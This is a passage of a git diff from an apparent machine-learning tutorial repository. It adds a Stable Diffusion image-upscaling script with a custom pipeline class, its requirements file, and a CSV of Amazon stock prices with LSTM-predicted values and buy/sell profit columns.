+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f931d10a75ab4aafb1d6b92a0ba622b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5d3f04417ce64f80a2843e74bf6208f7",
+            "placeholder": "",
+            "style": "IPY_MODEL_341fa26d73394e6cb71498a9c95b458c",
+            "value": " 1.06M/1.06M [00:00<00:00, 4.16MB/s]"
+          }
+        },
+        "fb2398f1e5ff43f7a2f81bd51bf58e2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_53fa5e54123446199d57c27c3ee8b091",
+              "IPY_MODEL_07a431a9456648b6bcbfa899ee0014ac",
+              "IPY_MODEL_2f972961c0eb411ca45b8af05cc05e3b"
+            ],
+            "layout": "IPY_MODEL_6525d3514cee42f3bd14bdf898b63ad2"
+          }
+        },
+        "fc9a8403148c431e8b0200d40c6efcb7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8b24a6ee676942ddaa27f44902ef2ac5",
+              "IPY_MODEL_5b74c15d312f404e88323771b08b0aeb",
+              "IPY_MODEL_7ad5acf646b44af2a1d8558abbb59199"
+            ],
+            "layout": "IPY_MODEL_d22523983b9a4c71a3057f3a281895ee"
+          }
+        },
+        "fcc7b1147ad94a01ae49b4268e85d310": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ff88d9a5f7d64ad7bb0f09f6c71543f1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/stable-diffusion-upscaler/requirements.txt b/machine-learning/stable-diffusion-upscaler/requirements.txt
new file mode 100644
index 00000000..6feca34e
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/requirements.txt
@@ -0,0 +1,6 @@
+torch
+diffusers 
+transformers 
+accelerate 
+scipy 
+safetensors
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
new file mode 100644
index 00000000..06efe53c
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
@@ -0,0 +1,303 @@
+# %%
+!pip install -qU diffusers transformers accelerate scipy safetensors
+
+# %% [markdown]
+# # Hugging Face Implementation
+
+# %%
+import requests
+from PIL import Image
+from io import BytesIO
+from diffusers import StableDiffusionUpscalePipeline
+import torch
+
+# %%
+# load model and scheduler
+model_id = "stabilityai/stable-diffusion-x4-upscaler"
+pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipeline = pipeline.to("cuda")
+
+# %%
+def get_low_res_img(url, shape):
+    response = requests.get(url)
+    low_res_img = Image.open(BytesIO(response.content)).convert("RGB")
+    low_res_img = low_res_img.resize(shape)
+    return low_res_img
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an old lady"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an iranian old lady with black hair, brown scarf, rock background"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg"
+shape = (450, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "zebras drinking water"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((1800, 512))
+upscaled_interpolation
+
+# %%
+
+
+# %%
+
+
+# %% [markdown]
+# # Custom
+# 
+
+# %%
+from tqdm import tqdm
+from torch import autocast
+
+# %%
+class CustomSDUpscalingPipeline:
+    """custom implementation of the Stable Diffusion Upscaling Pipeline"""
+
+    def __init__(self,
+                 vae,
+                 tokenizer,
+                 text_encoder,
+                 unet,
+                 low_res_scheduler,
+                 scheduler,
+                 image_processor):
+
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.low_res_scheduler = low_res_scheduler
+        self.scheduler = scheduler
+        self.image_processor = image_processor
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+
+    def get_text_embeds(self, text):
+        """returns embeddings for the given `text`"""
+
+        # tokenize the text
+        text_input = self.tokenizer(text,
+                                    padding='max_length',
+                                    max_length=tokenizer.model_max_length,
+                                    truncation=True,
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+        return text_embeds
+
+
+
+    def get_prompt_embeds(self, prompt):
+        """returns prompt embeddings based on classifier free guidance"""
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds([''] * len(prompt))
+        # concatenate the above 2 embeds for classfier free guidance
+        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+        return prompt_embeds
+
+
+    def transform_image(self, image):
+        """convert image from pytorch tensor to PIL format"""
+
+        image = self.image_processor.postprocess(image, output_type='pil')
+        return image
+
+
+
+    def get_initial_latents(self, height, width, num_channels_latents, batch_size):
+        """returns noise latent tensor of relevant shape scaled by the scheduler"""
+
+        image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)
+        # scale the initial noise by the standard deviation required by the scheduler
+        image_latents = image_latents * self.scheduler.init_noise_sigma
+        return image_latents
+
+
+
+    def denoise_latents(self,
+                        prompt_embeds,
+                        image,
+                        timesteps,
+                        latents,
+                        noise_level,
+                        guidance_scale):
+        """denoises latents from noisy latent to a meaningful latents"""
+
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(timesteps)):
+                # duplicate image latents to do classifier free guidance
+                latent_model_input = torch.cat([latents] * 2)
+                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
+                latent_model_input = torch.cat([latent_model_input, image], dim=1)
+
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(
+                        latent_model_input,
+                        t,
+                        encoder_hidden_states=prompt_embeds,
+                        class_labels=noise_level
+                    )['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)
+
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']
+
+        return latents
+
+
+
+    def __call__(self,
+                 prompt,
+                 image,
+                 num_inference_steps=20,
+                 guidance_scale=9.0,
+                 noise_level=20):
+        """generates new image based on the `prompt` and the `image`"""
+
+        # encode input prompt
+        prompt_embeds = self.get_prompt_embeds(prompt)
+
+        # preprocess image
+        image = self.image_processor.preprocess(image).to(self.device)
+
+        # prepare timesteps
+        self.scheduler.set_timesteps(num_inference_steps, device=self.device)
+        timesteps = self.scheduler.timesteps
+
+        # add noise to image
+        noise_level = torch.tensor([noise_level], device=self.device)
+        noise = torch.randn(image.shape, device=self.device)
+        image = self.low_res_scheduler.add_noise(image, noise, noise_level)
+
+        # duplicate image for classifier free guidance
+        image = torch.cat([image] * 2)
+        noise_level = torch.cat([noise_level] * image.shape[0])
+
+        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)
+        num_channels_latents = self.vae.config.latent_channels
+        batch_size = prompt_embeds.shape[0] // 2
+        height, width = image.shape[2:]
+        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)
+
+        # denoise latents
+        latents = self.denoise_latents(prompt_embeds,
+                                       image,
+                                       timesteps,
+                                       latents,
+                                       noise_level,
+                                       guidance_scale)
+
+        # decode latents to get the image into pixel space
+        latents = latents.to(torch.float16)
+        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]
+
+        # convert to PIL Image format
+        image = self.transform_image(image.detach()) # detach to remove any computed gradients
+
+        return image
+
+# %%
+# get all the components from the SD Upscaler pipeline
+vae = pipeline.vae
+tokenizer = pipeline.tokenizer
+text_encoder = pipeline.text_encoder
+unet = pipeline.unet
+low_res_scheduler = pipeline.low_res_scheduler
+scheduler = pipeline.scheduler
+image_processor = pipeline.image_processor
+
+custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "a professional photograph of a lion's face"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+
+
+
diff --git a/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv
new file mode 100644
index 00000000..2b4be05b
--- /dev/null
+++ b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv
@@ -0,0 +1,1199 @@
+,open,high,low,close,adjclose,volume,ticker,adjclose_15,true_adjclose_15,buy_profit,sell_profit
+1997-08-06,2.2083330154418945,2.3125,2.1875,2.25,2.25,1243200,AMZN,11.820688,2.3177080154418945,0.06770801544189453,0.0
+1997-08-07,2.25,2.2604169845581055,2.125,2.1770830154418945,2.1770830154418945,2034000,AMZN,11.588662,2.375,0.19791698455810547,0.0
+1997-08-18,2.0520830154418945,2.0520830154418945,1.96875,2.0416669845581055,2.0416669845581055,1784400,AMZN,11.508864,3.239583015441894,1.1979160308837886,0.0
+1997-08-19,2.09375,2.2083330154418945,2.0520830154418945,2.1666669845581055,2.1666669845581055,1003200,AMZN,11.6174345,3.302083015441894,1.1354160308837886,0.0
+1997-08-21,2.1354169845581055,2.171875,2.0729169845581055,2.1145830154418945,2.1145830154418945,624000,AMZN,11.358686,3.6875,1.5729169845581055,0.0
+1997-09-05,2.5833330154418945,2.6666669845581055,2.4583330154418945,2.5,2.5,1908000,AMZN,11.656202,4.1666669845581055,1.6666669845581055,0.0
+1997-09-08,2.53125,3.0208330154418945,2.5,3.0,3.0,5648400,AMZN,11.149436,4.0416669845581055,1.0416669845581055,0.0
+1997-09-10,3.3125,3.328125,3.125,3.3020830154418945,3.3020830154418945,3866400,AMZN,10.614106,4.0208330154418945,0.71875,0.0
+1997-09-12,3.1875,3.6979169845581055,3.15625,3.6875,3.6875,3333600,AMZN,9.943958,4.015625,0.328125,0.0
+1997-09-15,3.6666669845581055,3.6770830154418945,3.0520830154418945,3.09375,3.09375,5583600,AMZN,10.056526,4.125,1.03125,0.0
+1997-09-17,3.4583330154418945,3.5,3.3333330154418945,3.40625,3.40625,2607600,AMZN,11.154854,4.0052080154418945,0.5989580154418945,0.0
+1997-09-22,4.0,4.6770830154418945,3.9479169845581055,4.5,4.5,16938000,AMZN,10.276244,4.0,-0.5,0.0
+1997-09-29,4.1458330154418945,4.1875,3.9583330154418945,4.0416669845581055,4.0416669845581055,2371200,AMZN,10.862229,3.8229169845581055,-0.21875,0.0
+1997-10-06,4.0,4.125,3.9427080154418945,4.125,4.125,2028000,AMZN,12.572844,4.2708330154418945,0.14583301544189453,0.0
+1997-10-17,3.6145830154418945,3.65625,3.5208330154418945,3.625,3.625,2534400,AMZN,12.880038,4.4791669845581055,0.8541669845581055,0.0
+1997-10-21,3.9583330154418945,4.4375,3.8541669845581055,4.4270830154418945,4.4270830154418945,12096000,AMZN,12.041669,3.9479169845581055,-0.47916603088378906,0.0
+1997-10-31,5.3645830154418945,5.4583330154418945,4.96875,5.0833330154418945,5.0833330154418945,5026800,AMZN,10.823462,4.4895830154418945,-0.59375,0.0
+1997-11-05,4.9791669845581055,5.1197919845581055,4.875,4.875,4.875,3093600,AMZN,13.065302,4.2604169845581055,-0.6145830154418945,0.0
+1997-11-07,4.4166669845581055,4.640625,4.3854169845581055,4.4791669845581055,4.4791669845581055,2626800,AMZN,12.865205,4.2708330154418945,-0.20833396911621094,0.0
+1997-11-17,4.2291669845581055,4.5416669845581055,4.21875,4.375,4.375,7394400,AMZN,11.438904,4.6875,0.3125,0.0
+1997-11-18,4.375,4.4791669845581055,4.34375,4.4166669845581055,4.4166669845581055,1866000,AMZN,11.949669,4.5104169845581055,0.09375,0.0
+1997-11-20,4.5729169845581055,4.6041669845581055,4.5104169845581055,4.5833330154418945,4.5833330154418945,5923200,AMZN,12.047718,4.5416669845581055,-0.04166603088378906,0.0
+1997-12-02,4.2604169845581055,4.3020830154418945,4.1770830154418945,4.234375,4.234375,1262400,AMZN,13.292806,4.625,0.390625,0.0
+1997-12-04,4.4010419845581055,4.5520830154418945,4.3854169845581055,4.5,4.5,3038400,AMZN,13.494902,4.5208330154418945,0.02083301544189453,0.0
+1997-12-16,4.6458330154418945,4.6458330154418945,4.4583330154418945,4.4583330154418945,4.4583330154418945,1687200,AMZN,13.336149,4.6145830154418945,0.15625,0.0
+1997-12-18,4.3541669845581055,4.4270830154418945,4.2291669845581055,4.2916669845581055,4.2916669845581055,3204000,AMZN,12.585941,4.3020830154418945,0.010416030883789062,0.0
+1997-12-26,4.5625,4.6458330154418945,4.4895830154418945,4.5208330154418945,4.5208330154418945,487200,AMZN,12.792457,4.953125,0.43229198455810547,0.0
+1998-01-08,4.6979169845581055,4.703125,4.53125,4.6145830154418945,4.6145830154418945,6015600,AMZN,12.5586405,4.9166669845581055,0.30208396911621094,0.0
+1998-01-21,4.9375,5.1666669845581055,4.875,5.0729169845581055,5.0729169845581055,8738400,AMZN,11.315132,5.2916669845581055,0.21875,0.0
+1998-01-27,4.8177080154418945,4.8645830154418945,4.6666669845581055,4.75,4.75,4104000,AMZN,10.387708,5.0729169845581055,0.32291698455810547,0.0
+1998-02-18,5.1458330154418945,5.1458330154418945,5.0520830154418945,5.0729169845581055,5.0729169845581055,2971200,AMZN,12.748533,6.6354169845581055,1.5625,0.0
+1998-02-20,5.2291669845581055,5.2916669845581055,5.1145830154418945,5.2708330154418945,5.2708330154418945,2703600,AMZN,13.723984,6.5572919845581055,1.286458969116211,0.0
+1998-02-23,5.2916669845581055,5.4166669845581055,5.2083330154418945,5.40625,5.40625,3978000,AMZN,13.824926,6.5833330154418945,1.1770830154418945,0.0
+1998-02-25,5.46875,5.5416669845581055,5.2604169845581055,5.4895830154418945,5.4895830154418945,6745200,AMZN,12.489206,7.109375,1.6197919845581055,0.0
+1998-03-02,6.3229169845581055,6.4375,6.25,6.3541669845581055,6.3541669845581055,10957200,AMZN,9.849327,6.984375,0.6302080154418945,0.0
+1998-03-10,7.125,7.3541669845581055,6.90625,6.925780773162842,6.925780773162842,24750000,AMZN,10.721519,7.127604007720946,0.20182323455810458,0.0
+1998-03-16,6.6302080154418945,6.7291669845581055,6.5833330154418945,6.5833330154418945,6.5833330154418945,3312000,AMZN,10.062839,7.3854169845581055,0.8020839691162109,0.0
+1998-03-20,7.0,7.0729169845581055,6.9270830154418945,7.0,7.0,6412800,AMZN,14.181883,7.859375,0.859375,0.0
+1998-03-26,6.8125,6.9791669845581055,6.625,6.8958330154418945,6.8958330154418945,7878000,AMZN,13.709781,7.90625,1.0104169845581055,0.0
+1998-04-01,7.1041669845581055,7.53125,7.002604007720947,7.5104169845581055,7.5104169845581055,14451600,AMZN,13.178607,6.75,-0.7604169845581055,0.0
+1998-04-09,7.6979169845581055,8.0,7.6354169845581055,7.9375,7.9375,16034400,AMZN,12.415564,7.875,-0.0625,0.0
+1998-04-15,8.166666984558105,8.333333015441895,7.875,8.010416984558105,8.010416984558105,11192400,AMZN,11.463522,7.531250000000001,-0.4791669845581046,0.0
+1998-04-16,8.010416984558105,8.276041984558105,7.765625,8.208333015441895,8.208333015441895,16244400,AMZN,11.092468,7.5833330154418945,-0.625,0.0
+1998-04-23,7.25,7.25,6.7083330154418945,6.75,6.75,12253200,AMZN,11.886967,7.6302080154418945,0.8802080154418945,0.0
+1998-05-05,7.8333330154418945,7.9583330154418945,7.7604169845581055,7.809895992279053,7.809895992279053,5998800,AMZN,7.5362635,7.218750000000001,0.0,0.5911459922790518
+1998-05-06,7.8333330154418945,7.8333330154418945,7.5104169845581055,7.53125,7.53125,7438800,AMZN,12.050191,7.161458015441894,-0.36979198455810636,0.0
+1998-05-07,7.5833330154418945,7.75,7.3541669845581055,7.5833330154418945,7.5833330154418945,13887600,AMZN,14.135857,7.34375,-0.23958301544189453,0.0
+1998-05-15,7.65625,7.7083330154418945,7.4583330154418945,7.46875,7.46875,4628400,AMZN,12.6586895,7.7083330154418945,0.23958301544189453,0.0
+1998-05-20,7.53125,7.625,7.3541669845581055,7.3854169845581055,7.3854169845581055,4048800,AMZN,16.239775,10.416666984558105,3.03125,0.0
+1998-05-29,7.15625,7.4166669845581055,7.125,7.34375,7.34375,8641200,AMZN,13.354718,12.635416984558105,5.2916669845581055,0.0
+1998-06-02,7.2708330154418945,7.4166669845581055,6.9166669845581055,7.28125,7.28125,8201400,AMZN,11.361474,15.447916984558104,8.166666984558104,0.0
+1998-06-05,7.2916669845581055,7.3958330154418945,7.1875,7.375,7.375,3427200,AMZN,15.12472,15.708333015441895,8.333333015441895,0.0
+1998-06-08,7.3020830154418945,7.71875,7.25,7.7083330154418945,7.7083330154418945,5463000,AMZN,15.009311,16.458332061767578,8.749999046325684,0.0
+1998-06-12,10.583333015441895,10.583333015441895,9.708333015441895,10.166666984558105,10.166666984558105,21655800,AMZN,11.682767,23.25,13.083333015441895,0.0
+1998-06-18,13.5,13.75,11.958333015441895,12.020833015441895,12.020833015441895,31639800,AMZN,11.578194,16.583332061767578,0.0,-4.562499046325684
+1998-07-02,19.291667938232422,20.916667938232422,18.75,20.666667938232422,20.666667938232422,52279800,AMZN,17.332106,20.708332061767578,0.0,-0.04166412353515625
+1998-07-24,21.541667938232422,21.916667938232422,19.5,20.708332061767578,20.708332061767578,28974000,AMZN,19.189848,20.458332061767578,0.0,0.25
+1998-08-07,18.541667938232422,19.8125,18.229167938232422,19.333332061767578,19.333332061767578,23433000,AMZN,22.348223,17.6484375,-1.6848945617675781,0.0
+1998-08-13,21.770832061767578,22.5,21.166667938232422,21.25,21.25,24629400,AMZN,23.310522,14.3125,-6.9375,0.0
+1998-08-20,21.041667938232422,21.625,20.916667938232422,21.520832061767578,21.520832061767578,15886200,AMZN,25.37078,12.677083015441895,-8.843749046325684,0.0
+1998-08-21,21.208332061767578,21.713542938232422,20.541667938232422,21.614582061767578,21.614582061767578,15136200,AMZN,24.30938,12.28125,-9.333332061767578,0.0
+1998-09-17,13.40625,13.916666984558105,12.75,12.833333015441895,12.833333015441895,42457800,AMZN,13.041053,14.364583015441895,1.53125,0.0
+1998-09-24,17.854167938232422,19.479167938232422,16.916667938232422,17.020832061767578,17.020832061767578,51124200,AMZN,18.9928,16.177082061767578,-0.84375,0.0
+1998-10-09,15.041666984558105,15.3125,13.958333015441895,15.197916984558105,15.197916984558105,20727000,AMZN,17.506008,21.072917938232422,5.875000953674316,0.0
+1998-10-12,16.1875,16.833332061767578,15.5,15.53125,15.53125,21817200,AMZN,19.140192,21.833332061767578,6.302082061767578,0.0
+1998-10-14,15.177083015441895,16.270832061767578,14.958333015441895,15.583333015441895,15.583333015441895,15590400,AMZN,16.046253,21.635417938232422,6.052084922790527,0.0
+1998-10-15,15.708333015441895,16.3125,15.416666984558105,16.177082061767578,16.177082061767578,16971000,AMZN,18.233545,21.416667938232422,5.239585876464844,0.0
+1998-10-30,21.104167938232422,21.635417938232422,20.770832061767578,21.072917938232422,21.072917938232422,21182400,AMZN,25.461836,30.104167938232422,9.03125,0.0
+1998-11-19,28.5,29.25,25.5,25.541667938232422,25.541667938232422,38895600,AMZN,33.44849,37.16666793823242,11.625,0.0
+1998-11-23,31.8125,36.41666793823242,31.010417938232422,36.33333206176758,36.33333206176758,67781400,AMZN,34.477436,40.45833206176758,0.0,-4.125
+1998-11-25,36.08333206176758,37.25,34.16666793823242,35.05208206176758,35.05208206176758,27522600,AMZN,43.124504,46.125,11.072917938232422,0.0
+1998-12-01,30.916667938232422,34.95833206176758,30.333332061767578,34.91666793823242,34.91666793823242,47154600,AMZN,21.893217,53.72916793823242,0.0,-18.8125
+1998-12-02,34.48958206176758,34.58333206176758,32.92708206176758,33.25,33.25,29649000,AMZN,34.031162,54.16666793823242,20.916667938232422,0.0
+1998-12-08,31.604167938232422,34.3125,31.416667938232422,34.01041793823242,34.01041793823242,25549800,AMZN,31.953913,53.54166793823242,0.0,-19.53125
+1998-12-10,36.27083206176758,37.33333206176758,34.9375,35.52083206176758,35.52083206176758,30361800,AMZN,40.293102,59.15625000000001,23.63541793823243,0.0
+1998-12-11,35.01041793823242,37.33333206176758,35.0,37.16666793823242,37.16666793823242,25467600,AMZN,39.023766,62.25,25.083332061767578,0.0
+1998-12-17,44.0,48.58333206176758,43.42708206176758,46.125,46.125,67635000,AMZN,55.512566,92.3125,46.1875,0.0
+1999-01-05,54.78125,64.875,53.25,62.25,62.25,62873200,AMZN,61.676247,62.81249999999999,0.0,-0.5624999999999929
+1999-01-22,49.75,62.9375,49.375,61.5,61.5,43765800,AMZN,61.93242,52.25,-9.25,0.0
+1999-01-25,60.75,61.6875,55.0,56.1875,56.1875,27323800,AMZN,75.958244,49.3125,-6.875,0.0
+1999-01-28,63.21875,64.375,60.125,61.4375,61.4375,23750600,AMZN,61.60881,50.9375,-10.5,0.0
+1999-01-29,60.8125,60.8125,57.5,58.46875,58.46875,16396000,AMZN,58.55706,53.25,-5.21875,0.0
+1999-02-02,58.1875,58.21875,54.25,55.125,55.125,13048600,AMZN,55.944798,55.46875,0.34375,0.0
+1999-02-08,57.1875,57.5625,52.875,54.5625,54.5625,12598200,AMZN,55.734337,60.65624999999999,6.093749999999993,0.0
+1999-02-10,49.125,51.6875,47.5,48.71875,48.71875,13205000,AMZN,54.06391,60.0625,11.34375,0.0
+1999-02-12,54.0,54.9375,51.8125,52.25,52.25,7765400,AMZN,64.44169,61.09375,8.84375,0.0
+1999-02-23,55.0625,58.5,54.75,57.59375,57.59375,21139200,AMZN,63.285183,66.90625,9.3125,0.0
+1999-02-26,63.375,65.0,60.5,64.0625,64.0625,25365400,AMZN,63.513264,67.53125,0.0,-3.46875
+1999-03-10,68.375,69.46875,67.0,68.5625,68.5625,14117600,AMZN,73.278625,86.09375,17.53125,0.0
+1999-03-18,66.4375,70.0,66.1875,69.21875,69.21875,12300200,AMZN,73.11201,91.4375,22.21875,0.0
+1999-03-19,70.9375,71.53125,67.5,67.53125,67.53125,10725200,AMZN,77.65771,92.21875,24.6875,0.0
+1999-03-29,75.0,75.75,74.0,74.8125,74.8125,18888000,AMZN,82.0526,86.0,11.1875,0.0
+1999-04-09,89.0625,93.0,87.875,91.4375,91.4375,6839000,AMZN,93.063354,86.03125,-5.40625,0.0
+1999-04-20,78.65625,87.15625,76.75,86.0,86.0,20005000,AMZN,86.01899,74.1875,-11.8125,0.0
+1999-04-26,104.5,107.9375,102.0,103.59375,103.59375,13985000,AMZN,109.3488,68.8125,-34.78125,0.0
+1999-05-05,71.9375,74.125,66.9375,73.25,73.25,27709800,AMZN,71.6916,60.46875,0.0,12.78125
+1999-05-14,66.5625,67.375,64.90625,66.1875,66.1875,11266800,AMZN,64.13644,58.6875,0.0,7.5
+1999-05-18,68.21875,68.75,65.46875,66.3125,66.3125,12407800,AMZN,73.81442,57.00000000000001,-9.312499999999993,0.0
+1999-05-21,65.375,66.0,62.875,64.28125,64.28125,8005600,AMZN,64.320915,46.0,-18.28125,0.0
+1999-05-26,56.59375,60.9375,52.25,60.46875,60.46875,21158600,AMZN,64.22802,56.46875,-4.0,0.0
+1999-05-27,59.8125,60.28125,57.0,57.28125,57.28125,13573400,AMZN,67.31086,55.65624999999999,-1.625000000000007,0.0
+1999-06-02,52.375,57.5,48.5625,56.0625,56.0625,36906400,AMZN,52.4908,58.87499999999999,0.0,-2.812499999999993
+1999-06-04,52.8125,55.0,50.8125,54.21875,54.21875,19491800,AMZN,59.64313,55.09375,0.875,0.0
+1999-06-08,60.0,60.6875,55.1875,55.78125,55.78125,13844400,AMZN,58.652847,58.03125,2.25,0.0
+1999-06-11,57.5625,58.5,52.375,52.90625,52.90625,13886600,AMZN,56.02491,62.03125000000001,9.125000000000007,0.0
+1999-06-16,50.65625,56.5,50.5,55.84375,55.84375,21707200,AMZN,60.157207,62.68750000000001,6.843750000000007,0.0
+1999-07-22,58.21875,58.5625,52.375,53.40625,53.40625,57547200,AMZN,58.549118,45.875,-7.53125,0.0
+1999-07-28,50.9921875,53.0625,49.8125,52.875,52.875,25783600,AMZN,50.459,56.5625,0.0,-3.6875
+1999-08-02,49.1875,51.0625,46.96875,47.0,47.0,16967800,AMZN,48.590263,59.18750000000001,12.187500000000007,0.0
+1999-08-05,43.78125,49.0,41.0,48.625,48.625,37517000,AMZN,47.353382,64.28125,0.0,-15.65625
+1999-08-10,42.6875,46.09375,41.0,45.5,45.5,23195000,AMZN,40.15255,62.1875,0.0,-16.6875
